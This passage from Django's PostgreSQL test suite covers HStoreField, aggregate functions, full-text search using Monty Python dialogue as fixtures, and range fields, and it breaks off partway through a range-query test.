            HStoreModel.objects.filter(field__keys__contains=['a']),
            self.objs[:2]
        )

    def test_values_overlap(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__values__overlap=['b', 'd']),
            self.objs[:3]
        )

    def test_key_isnull(self):
        obj = HStoreModel.objects.create(field={'a': None})
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__a__isnull=True),
            self.objs[2:5] + [obj]
        )
        self.assertSequenceEqual(
            HStoreModel.objects.filter(field__a__isnull=False),
            self.objs[:2]
        )

    def test_usage_in_subquery(self):
        self.assertSequenceEqual(
            HStoreModel.objects.filter(id__in=HStoreModel.objects.filter(field__a='b')),
            self.objs[:2]
        )


class TestSerialization(HStoreTestCase):
    test_data = ('[{"fields": {"field": "{\\"a\\": \\"b\\"}"}, '
                 '"model": "postgres_tests.hstoremodel", "pk": null}]')

    def test_dumping(self):
        instance = HStoreModel(field={'a': 'b'})
        data = serializers.serialize('json', [instance])
        self.assertEqual(json.loads(data), json.loads(self.test_data))

    def test_loading(self):
        instance = list(serializers.deserialize('json', self.test_data))[0].object
        self.assertEqual(instance.field, {'a': 'b'})

    def test_roundtrip_with_null(self):
        instance = HStoreModel(field={'a': 'b', 'c': None})
        data = serializers.serialize('json', [instance])
        new_instance = list(serializers.deserialize('json', data))[0].object
        self.assertEqual(instance.field, new_instance.field)


class TestValidation(HStoreTestCase):

    def test_not_a_string(self):
        field = HStoreField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean({'a': 1}, None)
        self.assertEqual(cm.exception.code, 'not_a_string')
        self.assertEqual(cm.exception.message % cm.exception.params, 'The value of "a" is not a string.')


class TestFormField(HStoreTestCase):

    def test_valid(self):
        field = forms.HStoreField()
        value = field.clean('{"a": "b"}')
        self.assertEqual(value, {'a': 'b'})

    def test_invalid_json(self):
        field = forms.HStoreField()
        with self.assertRaises(exceptions.ValidationError) as cm:
            field.clean('{"a": "b"')
        self.assertEqual(cm.exception.messages[0], 'Could not load JSON data.')
        self.assertEqual(cm.exception.code, 'invalid_json')

    def test_non_dict_json(self):
        field = forms.HStoreField()
        msg = 'Input must be a JSON dictionary.'
        with self.assertRaisesMessage(exceptions.ValidationError, msg) as cm:
            field.clean('["a", "b", 1]')
        self.assertEqual(cm.exception.code, 'invalid_format')

    def test_not_string_values(self):
        field = forms.HStoreField()
        value = field.clean('{"a": 1}')
        self.assertEqual(value, {'a': '1'})

    def test_empty(self):
        field = forms.HStoreField(required=False)
        value = field.clean('')
        self.assertEqual(value, {})

    def test_model_field_formfield(self):
        model_field = HStoreField()
        form_field = model_field.formfield()
        self.assertIsInstance(form_field, forms.HStoreField)

    def test_field_has_changed(self):
        class HStoreFormTest(Form):
            f1 = forms.HStoreField()
        form_w_hstore = HStoreFormTest()
        self.assertFalse(form_w_hstore.has_changed())

        form_w_hstore = HStoreFormTest({'f1': '{"a": 1}'})
        self.assertTrue(form_w_hstore.has_changed())

        form_w_hstore = HStoreFormTest({'f1': '{"a": 1}'}, initial={'f1': '{"a": 1}'})
        self.assertFalse(form_w_hstore.has_changed())

        form_w_hstore = HStoreFormTest({'f1': '{"a": 2}'}, initial={'f1': '{"a": 1}'})
        self.assertTrue(form_w_hstore.has_changed())

        form_w_hstore = HStoreFormTest({'f1': '{"a": 1}'}, initial={'f1': {"a": 1}})
        self.assertFalse(form_w_hstore.has_changed())

        form_w_hstore = HStoreFormTest({'f1': '{"a": 2}'}, initial={'f1': {"a": 1}})
        self.assertTrue(form_w_hstore.has_changed())


class TestValidator(HStoreTestCase):

    def test_simple_valid(self):
        validator = KeysValidator(keys=['a', 'b'])
        validator({'a': 'foo', 'b': 'bar', 'c': 'baz'})

    def test_missing_keys(self):
        validator = KeysValidator(keys=['a', 'b'])
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator({'a': 'foo', 'c': 'baz'})
        self.assertEqual(cm.exception.messages[0], 'Some keys were missing: b')
        self.assertEqual(cm.exception.code, 'missing_keys')

    def test_strict_valid(self):
        validator = KeysValidator(keys=['a', 'b'], strict=True)
        validator({'a': 'foo', 'b': 'bar'})

    def test_extra_keys(self):
        validator = KeysValidator(keys=['a', 'b'], strict=True)
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator({'a': 'foo', 'b': 'bar', 'c': 'baz'})
        self.assertEqual(cm.exception.messages[0], 'Some unknown keys were provided: c')
        self.assertEqual(cm.exception.code, 'extra_keys')

    def test_custom_messages(self):
        messages = {
            'missing_keys': 'Foobar',
        }
        validator = KeysValidator(keys=['a', 'b'], strict=True, messages=messages)
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator({'a': 'foo', 'c': 'baz'})
        self.assertEqual(cm.exception.messages[0], 'Foobar')
        self.assertEqual(cm.exception.code, 'missing_keys')
        with self.assertRaises(exceptions.ValidationError) as cm:
            validator({'a': 'foo', 'b': 'bar', 'c': 'baz'})
        self.assertEqual(cm.exception.messages[0], 'Some unknown keys were provided: c')
        self.assertEqual(cm.exception.code, 'extra_keys')

    def test_deconstruct(self):
        messages = {
            'missing_keys': 'Foobar',
        }
        validator = KeysValidator(keys=['a', 'b'], strict=True, messages=messages)
        path, args, kwargs = validator.deconstruct()
        self.assertEqual(path, 'django.contrib.postgres.validators.KeysValidator')
        self.assertEqual(args, ())
        self.assertEqual(kwargs, {'keys': ['a', 'b'], 'strict': True, 'messages': messages})






import unittest

from django.db import connection
from django.db.backends.signals import connection_created
from django.test import TestCase


@unittest.skipUnless(connection.vendor == 'postgresql', "PostgreSQL specific tests")
class PostgreSQLTestCase(TestCase):
    @classmethod
    def tearDownClass(cls):
        # No need to keep that signal overhead for non PostgreSQL-related tests.
        from django.contrib.postgres.signals import register_hstore_handler

        connection_created.disconnect(register_hstore_handler)
        super(PostgreSQLTestCase, cls).tearDownClass()






"""
Indirection layer for PostgreSQL-specific fields, so the tests don't fail when
run with a backend other than PostgreSQL.
"""
from django.db import models

try:
    from django.contrib.postgres.fields import (
        ArrayField, BigIntegerRangeField, DateRangeField, DateTimeRangeField,
        FloatRangeField, HStoreField, IntegerRangeField, JSONField,
    )
    from django.contrib.postgres.search import SearchVectorField
except ImportError:
    class DummyArrayField(models.Field):
        def __init__(self, base_field, size=None, **kwargs):
            super(DummyArrayField, self).__init__(**kwargs)

        def deconstruct(self):
            name, path, args, kwargs = super(DummyArrayField, self).deconstruct()
            kwargs.update({
                'base_field': '',
                'size': 1,
            })
            return name, path, args, kwargs

    ArrayField = DummyArrayField
    BigIntegerRangeField = models.Field
    DateRangeField = models.Field
    DateTimeRangeField = models.Field
    FloatRangeField = models.Field
    HStoreField = models.Field
    IntegerRangeField = models.Field
    JSONField = models.Field
    SearchVectorField = models.Field






from django.contrib.postgres.aggregates import (
    ArrayAgg, BitAnd, BitOr, BoolAnd, BoolOr, Corr, CovarPop, RegrAvgX,
    RegrAvgY, RegrCount, RegrIntercept, RegrR2, RegrSlope, RegrSXX, RegrSXY,
    RegrSYY, StatAggregate, StringAgg,
)
from django.db.models.expressions import F, Value
from django.test.utils import Approximate

from . import PostgreSQLTestCase
from .models import AggregateTestModel, StatTestModel


class TestGeneralAggregate(PostgreSQLTestCase):
    @classmethod
    def setUpTestData(cls):
        AggregateTestModel.objects.create(boolean_field=True, char_field='Foo1', integer_field=0)
        AggregateTestModel.objects.create(boolean_field=False, char_field='Foo2', integer_field=1)
        AggregateTestModel.objects.create(boolean_field=False, char_field='Foo3', integer_field=2)
        AggregateTestModel.objects.create(boolean_field=True, char_field='Foo4', integer_field=0)

    def test_array_agg_charfield(self):
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('char_field'))
        self.assertEqual(values, {'arrayagg': ['Foo1', 'Foo2', 'Foo3', 'Foo4']})

    def test_array_agg_integerfield(self):
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('integer_field'))
        self.assertEqual(values, {'arrayagg': [0, 1, 2, 0]})

    def test_array_agg_booleanfield(self):
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('boolean_field'))
        self.assertEqual(values, {'arrayagg': [True, False, False, True]})

    def test_array_agg_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('char_field'))
        self.assertEqual(values, {'arrayagg': []})
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('integer_field'))
        self.assertEqual(values, {'arrayagg': []})
        values = AggregateTestModel.objects.aggregate(arrayagg=ArrayAgg('boolean_field'))
        self.assertEqual(values, {'arrayagg': []})

    def test_bit_and_general(self):
        values = AggregateTestModel.objects.filter(
            integer_field__in=[0, 1]).aggregate(bitand=BitAnd('integer_field'))
        self.assertEqual(values, {'bitand': 0})

    def test_bit_and_on_only_true_values(self):
        values = AggregateTestModel.objects.filter(
            integer_field=1).aggregate(bitand=BitAnd('integer_field'))
        self.assertEqual(values, {'bitand': 1})

    def test_bit_and_on_only_false_values(self):
        values = AggregateTestModel.objects.filter(
            integer_field=0).aggregate(bitand=BitAnd('integer_field'))
        self.assertEqual(values, {'bitand': 0})

    def test_bit_and_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(bitand=BitAnd('integer_field'))
        self.assertEqual(values, {'bitand': None})

    def test_bit_or_general(self):
        values = AggregateTestModel.objects.filter(
            integer_field__in=[0, 1]).aggregate(bitor=BitOr('integer_field'))
        self.assertEqual(values, {'bitor': 1})

    def test_bit_or_on_only_true_values(self):
        values = AggregateTestModel.objects.filter(
            integer_field=1).aggregate(bitor=BitOr('integer_field'))
        self.assertEqual(values, {'bitor': 1})

    def test_bit_or_on_only_false_values(self):
        values = AggregateTestModel.objects.filter(
            integer_field=0).aggregate(bitor=BitOr('integer_field'))
        self.assertEqual(values, {'bitor': 0})

    def test_bit_or_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(bitor=BitOr('integer_field'))
        self.assertEqual(values, {'bitor': None})

    def test_bool_and_general(self):
        values = AggregateTestModel.objects.aggregate(booland=BoolAnd('boolean_field'))
        self.assertEqual(values, {'booland': False})

    def test_bool_and_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(booland=BoolAnd('boolean_field'))
        self.assertEqual(values, {'booland': None})

    def test_bool_or_general(self):
        values = AggregateTestModel.objects.aggregate(boolor=BoolOr('boolean_field'))
        self.assertEqual(values, {'boolor': True})

    def test_bool_or_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(boolor=BoolOr('boolean_field'))
        self.assertEqual(values, {'boolor': None})

    def test_string_agg_requires_delimiter(self):
        with self.assertRaises(TypeError):
            AggregateTestModel.objects.aggregate(stringagg=StringAgg('char_field'))

    def test_string_agg_charfield(self):
        values = AggregateTestModel.objects.aggregate(stringagg=StringAgg('char_field', delimiter=';'))
        self.assertEqual(values, {'stringagg': 'Foo1;Foo2;Foo3;Foo4'})

    def test_string_agg_empty_result(self):
        AggregateTestModel.objects.all().delete()
        values = AggregateTestModel.objects.aggregate(stringagg=StringAgg('char_field', delimiter=';'))
        self.assertEqual(values, {'stringagg': ''})


class TestStringAggregateDistinct(PostgreSQLTestCase):
    @classmethod
    def setUpTestData(cls):
        AggregateTestModel.objects.create(char_field='Foo')
        AggregateTestModel.objects.create(char_field='Foo')
        AggregateTestModel.objects.create(char_field='Bar')

    def test_string_agg_distinct_false(self):
        values = AggregateTestModel.objects.aggregate(stringagg=StringAgg('char_field', delimiter=' ', distinct=False))
        self.assertEqual(values['stringagg'].count('Foo'), 2)
        self.assertEqual(values['stringagg'].count('Bar'), 1)

    def test_string_agg_distinct_true(self):
        values = AggregateTestModel.objects.aggregate(stringagg=StringAgg('char_field', delimiter=' ', distinct=True))
        self.assertEqual(values['stringagg'].count('Foo'), 1)
        self.assertEqual(values['stringagg'].count('Bar'), 1)


class TestStatisticsAggregate(PostgreSQLTestCase):
    @classmethod
    def setUpTestData(cls):
        StatTestModel.objects.create(
            int1=1,
            int2=3,
            related_field=AggregateTestModel.objects.create(integer_field=0),
        )
        StatTestModel.objects.create(
            int1=2,
            int2=2,
            related_field=AggregateTestModel.objects.create(integer_field=1),
        )
        StatTestModel.objects.create(
            int1=3,
            int2=1,
            related_field=AggregateTestModel.objects.create(integer_field=2),
        )

    # Tests for base class (StatAggregate)

    def test_missing_arguments_raises_exception(self):
        with self.assertRaisesMessage(ValueError, 'Both y and x must be provided.'):
            StatAggregate(x=None, y=None)

    def test_correct_source_expressions(self):
        func = StatAggregate(x='test', y=13)
        self.assertIsInstance(func.source_expressions[0], Value)
        self.assertIsInstance(func.source_expressions[1], F)

    def test_alias_is_required(self):
        class SomeFunc(StatAggregate):
            function = 'TEST'
        with self.assertRaisesMessage(TypeError, 'Complex aggregates require an alias'):
            StatTestModel.objects.aggregate(SomeFunc(y='int2', x='int1'))

    # Test aggregates

    def test_corr_general(self):
        values = StatTestModel.objects.aggregate(corr=Corr(y='int2', x='int1'))
        self.assertEqual(values, {'corr': -1.0})

    def test_corr_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(corr=Corr(y='int2', x='int1'))
        self.assertEqual(values, {'corr': None})

    def test_covar_pop_general(self):
        values = StatTestModel.objects.aggregate(covarpop=CovarPop(y='int2', x='int1'))
        self.assertEqual(values, {'covarpop': Approximate(-0.66, places=1)})

    def test_covar_pop_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(covarpop=CovarPop(y='int2', x='int1'))
        self.assertEqual(values, {'covarpop': None})

    def test_covar_pop_sample(self):
        values = StatTestModel.objects.aggregate(covarpop=CovarPop(y='int2', x='int1', sample=True))
        self.assertEqual(values, {'covarpop': -1.0})

    def test_covar_pop_sample_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(covarpop=CovarPop(y='int2', x='int1', sample=True))
        self.assertEqual(values, {'covarpop': None})

    def test_regr_avgx_general(self):
        values = StatTestModel.objects.aggregate(regravgx=RegrAvgX(y='int2', x='int1'))
        self.assertEqual(values, {'regravgx': 2.0})

    def test_regr_avgx_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regravgx=RegrAvgX(y='int2', x='int1'))
        self.assertEqual(values, {'regravgx': None})

    def test_regr_avgy_general(self):
        values = StatTestModel.objects.aggregate(regravgy=RegrAvgY(y='int2', x='int1'))
        self.assertEqual(values, {'regravgy': 2.0})

    def test_regr_avgy_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regravgy=RegrAvgY(y='int2', x='int1'))
        self.assertEqual(values, {'regravgy': None})

    def test_regr_count_general(self):
        values = StatTestModel.objects.aggregate(regrcount=RegrCount(y='int2', x='int1'))
        self.assertEqual(values, {'regrcount': 3})

    def test_regr_count_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrcount=RegrCount(y='int2', x='int1'))
        self.assertEqual(values, {'regrcount': 0})

    def test_regr_intercept_general(self):
        values = StatTestModel.objects.aggregate(regrintercept=RegrIntercept(y='int2', x='int1'))
        self.assertEqual(values, {'regrintercept': 4})

    def test_regr_intercept_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrintercept=RegrIntercept(y='int2', x='int1'))
        self.assertEqual(values, {'regrintercept': None})

    def test_regr_r2_general(self):
        values = StatTestModel.objects.aggregate(regrr2=RegrR2(y='int2', x='int1'))
        self.assertEqual(values, {'regrr2': 1})

    def test_regr_r2_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrr2=RegrR2(y='int2', x='int1'))
        self.assertEqual(values, {'regrr2': None})

    def test_regr_slope_general(self):
        values = StatTestModel.objects.aggregate(regrslope=RegrSlope(y='int2', x='int1'))
        self.assertEqual(values, {'regrslope': -1})

    def test_regr_slope_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrslope=RegrSlope(y='int2', x='int1'))
        self.assertEqual(values, {'regrslope': None})

    def test_regr_sxx_general(self):
        values = StatTestModel.objects.aggregate(regrsxx=RegrSXX(y='int2', x='int1'))
        self.assertEqual(values, {'regrsxx': 2.0})

    def test_regr_sxx_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrsxx=RegrSXX(y='int2', x='int1'))
        self.assertEqual(values, {'regrsxx': None})

    def test_regr_sxy_general(self):
        values = StatTestModel.objects.aggregate(regrsxy=RegrSXY(y='int2', x='int1'))
        self.assertEqual(values, {'regrsxy': -2.0})

    def test_regr_sxy_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrsxy=RegrSXY(y='int2', x='int1'))
        self.assertEqual(values, {'regrsxy': None})

    def test_regr_syy_general(self):
        values = StatTestModel.objects.aggregate(regrsyy=RegrSYY(y='int2', x='int1'))
        self.assertEqual(values, {'regrsyy': 2.0})

    def test_regr_syy_empty_result(self):
        StatTestModel.objects.all().delete()
        values = StatTestModel.objects.aggregate(regrsyy=RegrSYY(y='int2', x='int1'))
        self.assertEqual(values, {'regrsyy': None})

    def test_regr_avgx_with_related_obj_and_number_as_argument(self):
        """
        This is more complex test to check if JOIN on field and
        number as argument works as expected.
        """
        values = StatTestModel.objects.aggregate(complex_regravgx=RegrAvgX(y=5, x='related_field__integer_field'))
        self.assertEqual(values, {'complex_regravgx': 1.0})






"""
Test PostgreSQL full text search.

These tests use dialogue from the 1975 film Monty Python and the Holy Grail.
All text copyright Python (Monty) Pictures. Thanks to sacred-texts.com for the
transcript.
"""
from django.contrib.postgres.search import (
    SearchQuery, SearchRank, SearchVector,
)
from django.db.models import F
from django.test import modify_settings

from . import PostgreSQLTestCase
from .models import Character, Line, Scene


class GrailTestData(object):

    @classmethod
    def setUpTestData(cls):
        cls.robin = Scene.objects.create(scene='Scene 10', setting='The dark forest of Ewing')
        cls.minstrel = Character.objects.create(name='Minstrel')
        verses = [
            (
                'Bravely bold Sir Robin, rode forth from Camelot. '
                'He was not afraid to die, o Brave Sir Robin. '
                'He was not at all afraid to be killed in nasty ways. '
                'Brave, brave, brave, brave Sir Robin!'
            ),
            (
                'He was not in the least bit scared to be mashed into a pulp, '
                'Or to have his eyes gouged out, and his elbows broken. '
                'To have his kneecaps split, and his body burned away, '
                'And his limbs all hacked and mangled, brave Sir Robin!'
            ),
            (
                'His head smashed in and his heart cut out, '
                'And his liver removed and his bowels unplugged, '
                'And his nostrils ripped and his bottom burned off,'
                'And his --'
            ),
        ]
        cls.verses = [Line.objects.create(
            scene=cls.robin,
            character=cls.minstrel,
            dialogue=verse,
        ) for verse in verses]
        cls.verse0, cls.verse1, cls.verse2 = cls.verses

        cls.witch_scene = Scene.objects.create(scene='Scene 5', setting="Sir Bedemir's Castle")
        bedemir = Character.objects.create(name='Bedemir')
        crowd = Character.objects.create(name='Crowd')
        witch = Character.objects.create(name='Witch')
        duck = Character.objects.create(name='Duck')

        cls.bedemir0 = Line.objects.create(
            scene=cls.witch_scene,
            character=bedemir,
            dialogue='We shall use my larger scales!',
            dialogue_config='english',
        )
        cls.bedemir1 = Line.objects.create(
            scene=cls.witch_scene,
            character=bedemir,
            dialogue='Right, remove the supports!',
            dialogue_config='english',
        )
        cls.duck = Line.objects.create(scene=cls.witch_scene, character=duck, dialogue=None)
        cls.crowd = Line.objects.create(scene=cls.witch_scene, character=crowd, dialogue='A witch! A witch!')
        cls.witch = Line.objects.create(scene=cls.witch_scene, character=witch, dialogue="It's a fair cop.")

        trojan_rabbit = Scene.objects.create(scene='Scene 8', setting="The castle of Our Master Ruiz' de lu la Ramper")
        guards = Character.objects.create(name='French Guards')
        cls.french = Line.objects.create(
            scene=trojan_rabbit,
            character=guards,
            dialogue='Oh. Un cadeau. Oui oui.',
            dialogue_config='french',
        )


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class SimpleSearchTest(GrailTestData, PostgreSQLTestCase):

    def test_simple(self):
        searched = Line.objects.filter(dialogue__search='elbows')
        self.assertSequenceEqual(searched, [self.verse1])

    def test_non_exact_match(self):
        searched = Line.objects.filter(dialogue__search='hearts')
        self.assertSequenceEqual(searched, [self.verse2])

    def test_search_two_terms(self):
        searched = Line.objects.filter(dialogue__search='heart bowel')
        self.assertSequenceEqual(searched, [self.verse2])

    def test_search_two_terms_with_partial_match(self):
        searched = Line.objects.filter(dialogue__search='Robin killed')
        self.assertSequenceEqual(searched, [self.verse0])


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class SearchVectorFieldTest(GrailTestData, PostgreSQLTestCase):
    def test_existing_vector(self):
        Line.objects.update(dialogue_search_vector=SearchVector('dialogue'))
        searched = Line.objects.filter(dialogue_search_vector=SearchQuery('Robin killed'))
        self.assertSequenceEqual(searched, [self.verse0])

    def test_existing_vector_config_explicit(self):
        Line.objects.update(dialogue_search_vector=SearchVector('dialogue'))
        searched = Line.objects.filter(dialogue_search_vector=SearchQuery('cadeaux', config='french'))
        self.assertSequenceEqual(searched, [self.french])


class MultipleFieldsTest(GrailTestData, PostgreSQLTestCase):

    def test_simple_on_dialogue(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='elbows')
        self.assertSequenceEqual(searched, [self.verse1])

    def test_simple_on_scene(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='Forest')
        self.assertSequenceEqual(searched, self.verses)

    def test_non_exact_match(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='heart')
        self.assertSequenceEqual(searched, [self.verse2])

    def test_search_two_terms(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='heart forest')
        self.assertSequenceEqual(searched, [self.verse2])

    def test_terms_adjacent(self):
        searched = Line.objects.annotate(
            search=SearchVector('character__name', 'dialogue'),
        ).filter(search='minstrel')
        self.assertSequenceEqual(searched, self.verses)
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='minstrelbravely')
        self.assertSequenceEqual(searched, [])

    def test_search_with_null(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search='bedemir')
        self.assertEqual(set(searched), {self.bedemir0, self.bedemir1, self.crowd, self.witch, self.duck})

    def test_config_query_explicit(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue', config='french'),
        ).filter(search=SearchQuery('cadeaux', config='french'))
        self.assertSequenceEqual(searched, [self.french])

    def test_config_query_implicit(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue', config='french'),
        ).filter(search='cadeaux')
        self.assertSequenceEqual(searched, [self.french])

    def test_config_from_field_explicit(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue', config=F('dialogue_config')),
        ).filter(search=SearchQuery('cadeaux', config=F('dialogue_config')))
        self.assertSequenceEqual(searched, [self.french])

    def test_config_from_field_implicit(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue', config=F('dialogue_config')),
        ).filter(search='cadeaux')
        self.assertSequenceEqual(searched, [self.french])


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class TestCombinations(GrailTestData, PostgreSQLTestCase):

    def test_vector_add(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting') + SearchVector('character__name'),
        ).filter(search='bedemir')
        self.assertEqual(set(searched), {self.bedemir0, self.bedemir1, self.crowd, self.witch, self.duck})

    def test_vector_add_multi(self):
        searched = Line.objects.annotate(
            search=(
                SearchVector('scene__setting') +
                SearchVector('character__name') +
                SearchVector('dialogue')
            ),
        ).filter(search='bedemir')
        self.assertEqual(set(searched), {self.bedemir0, self.bedemir1, self.crowd, self.witch, self.duck})

    def test_query_and(self):
        searched = Line.objects.annotate(
            search=SearchVector('scene__setting', 'dialogue'),
        ).filter(search=SearchQuery('bedemir') & SearchQuery('scales'))
        self.assertSequenceEqual(searched, [self.bedemir0])

    def test_query_or(self):
        searched = Line.objects.filter(dialogue__search=SearchQuery('kneecaps') | SearchQuery('nostrils'))
        self.assertSequenceEqual(set(searched), {self.verse1, self.verse2})

    def test_query_invert(self):
        searched = Line.objects.filter(character=self.minstrel, dialogue__search=~SearchQuery('kneecaps'))
        self.assertEqual(set(searched), {self.verse0, self.verse2})


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.postgres'})
class TestRankingAndWeights(GrailTestData, PostgreSQLTestCase):

    def test_ranking(self):
        searched = Line.objects.filter(character=self.minstrel).annotate(
            rank=SearchRank(SearchVector('dialogue'), SearchQuery('brave sir robin')),
        ).order_by('rank')
        self.assertSequenceEqual(searched, [self.verse2, self.verse1, self.verse0])

    def test_rank_passing_untyped_args(self):
        searched = Line.objects.filter(character=self.minstrel).annotate(
            rank=SearchRank('dialogue', 'brave sir robin'),
        ).order_by('rank')
        self.assertSequenceEqual(searched, [self.verse2, self.verse1, self.verse0])

    def test_weights_in_vector(self):
        vector = SearchVector('dialogue', weight='A') + SearchVector('character__name', weight='D')
        searched = Line.objects.filter(scene=self.witch_scene).annotate(
            rank=SearchRank(vector, SearchQuery('witch')),
        ).order_by('-rank')[:2]
        self.assertSequenceEqual(searched, [self.crowd, self.witch])

        vector = SearchVector('dialogue', weight='D') + SearchVector('character__name', weight='A')
        searched = Line.objects.filter(scene=self.witch_scene).annotate(
            rank=SearchRank(vector, SearchQuery('witch')),
        ).order_by('-rank')[:2]
        self.assertSequenceEqual(searched, [self.witch, self.crowd])

    def test_ranked_custom_weights(self):
        vector = SearchVector('dialogue', weight='D') + SearchVector('character__name', weight='A')
        searched = Line.objects.filter(scene=self.witch_scene).annotate(
            rank=SearchRank(vector, SearchQuery('witch'), weights=[1, 0, 0, 0.5]),
        ).order_by('-rank')[:2]
        self.assertSequenceEqual(searched, [self.crowd, self.witch])

    def test_ranking_chaining(self):
        searched = Line.objects.filter(character=self.minstrel).annotate(
            rank=SearchRank(SearchVector('dialogue'), SearchQuery('brave sir robin')),
        ).filter(rank__gt=0.3)
        self.assertSequenceEqual(searched, [self.verse0])






import datetime
import json

from django import forms
from django.core import exceptions, serializers
from django.db.models import F
from django.test import override_settings
from django.utils import timezone

from . import PostgreSQLTestCase
from .models import RangeLookupsModel, RangesModel

try:
    from psycopg2.extras import DateRange, DateTimeTZRange, NumericRange
    from django.contrib.postgres import fields as pg_fields, forms as pg_forms
    from django.contrib.postgres.validators import (
        RangeMaxValueValidator, RangeMinValueValidator,
    )
except ImportError:
    pass


class TestSaveLoad(PostgreSQLTestCase):

    def test_all_fields(self):
        now = timezone.now()
        instance = RangesModel(
            ints=NumericRange(0, 10),
            bigints=NumericRange(10, 20),
            floats=NumericRange(20, 30),
            timestamps=DateTimeTZRange(now - datetime.timedelta(hours=1), now),
            dates=DateRange(now.date() - datetime.timedelta(days=1), now.date()),
        )
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(instance.ints, loaded.ints)
        self.assertEqual(instance.bigints, loaded.bigints)
        self.assertEqual(instance.floats, loaded.floats)
        self.assertEqual(instance.timestamps, loaded.timestamps)
        self.assertEqual(instance.dates, loaded.dates)

    def test_range_object(self):
        r = NumericRange(0, 10)
        instance = RangesModel(ints=r)
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(r, loaded.ints)

    def test_tuple(self):
        instance = RangesModel(ints=(0, 10))
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(NumericRange(0, 10), loaded.ints)

    def test_range_object_boundaries(self):
        r = NumericRange(0, 10, '[]')
        instance = RangesModel(floats=r)
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(r, loaded.floats)
        self.assertIn(10, loaded.floats)

    def test_unbounded(self):
        r = NumericRange(None, None, '()')
        instance = RangesModel(floats=r)
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(r, loaded.floats)

    def test_empty(self):
        r = NumericRange(empty=True)
        instance = RangesModel(ints=r)
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertEqual(r, loaded.ints)

    def test_null(self):
        instance = RangesModel(ints=None)
        instance.save()
        loaded = RangesModel.objects.get()
        self.assertIsNone(loaded.ints)

    def test_model_set_on_base_field(self):
        instance = RangesModel()
        field = instance._meta.get_field('ints')
        self.assertEqual(field.model, RangesModel)
        self.assertEqual(field.base_field.model, RangesModel)


class TestQuerying(PostgreSQLTestCase):

    @classmethod
    def setUpTestData(cls):
        cls.objs = [
            RangesModel.objects.create(ints=NumericRange(0, 10)),
            RangesModel.objects.create(ints=NumericRange(5, 15)),
            RangesModel.objects.create(ints=NumericRange(None, 0)),
            RangesModel.objects.create(ints=NumericRange(empty=True)),
            RangesModel.objects.create(ints=None),
        ]

    def test_exact(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__exact=NumericRange(0, 10)),
            [self.objs[0]],
        )

    def test_isnull(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__isnull=True),
            [self.objs[4]],
        )

    def test_isempty(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__isempty=True),
            [self.objs[3]],
        )

    def test_contains(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__contains=8),
            [self.objs[0], self.objs[1]],
        )

    def test_contains_range(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__contains=NumericRange(3, 8)),
            [self.objs[0]],
        )

    def test_contained_by(self):
        self.assertSequenceEqual(
            RangesModel.objects.filter(ints__contained_by=NumericRange(0, 20)),
            [self.objs[0], self.objs[1], self.objs[3]],
        )

    def test_overlap(self):
